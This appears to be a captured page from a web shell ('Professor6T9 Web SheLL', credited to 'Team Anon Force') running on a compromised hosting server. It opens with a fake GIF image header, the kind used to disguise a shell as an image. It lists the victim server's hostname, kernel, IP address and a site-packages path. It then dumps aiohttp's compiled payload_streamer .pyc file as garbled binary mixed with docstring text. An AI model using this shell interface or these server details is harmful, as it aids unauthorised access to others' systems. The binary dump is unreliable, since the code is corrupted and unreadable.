GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
69.57.162.12
/
opt
/
cloudlinux
/
venv
/
lib
/
python3.11
/
site-packages
/
aiohttp
/
__pycache__
[ HOME ]
Exec
Submit
File Name : payload_streamer.cpython-311.pyc
� � h' � � � d Z ddlZddlZddlmZmZmZmZmZ ddl m Z ddlmZm Z dZ G d� d � � Z G d � d� � Z e e� � G d� d e� � � � Z e e� � G d� de� � � � ZdS )am Payload implementation for coroutines as data provider. As a simple case, you can upload data from file:: @aiohttp.streamer async def file_sender(writer, file_name=None): with open(file_name, 'rb') as f: chunk = f.read(2**16) while chunk: await writer.write(chunk) chunk = f.read(2**16) Then you can use `file_sender` like this: async with session.post('http://httpbin.org/post', data=file_sender(file_name='huge_file')) as resp: print(await resp.text()) ..note:: Coroutine must accept `writer` as first argument � N)�Any� Awaitable�Callable�Dict�Tuple� )�AbstractStreamWriter)�Payload�payload_type)�streamerc �r � e Zd Zdeded f deedf deeef ddfd�Z de ddfd �ZdS ) �_stream_wrapper�coro.N�args�kwargs�returnc �T � t j |� � | _ || _ || _ d S �N)�types� coroutiner r r )�selfr r r s �O/opt/cloudlinux/venv/lib64/python3.11/site-packages/aiohttp/payload_streamer.py�__init__z_stream_wrapper.__init__$ s'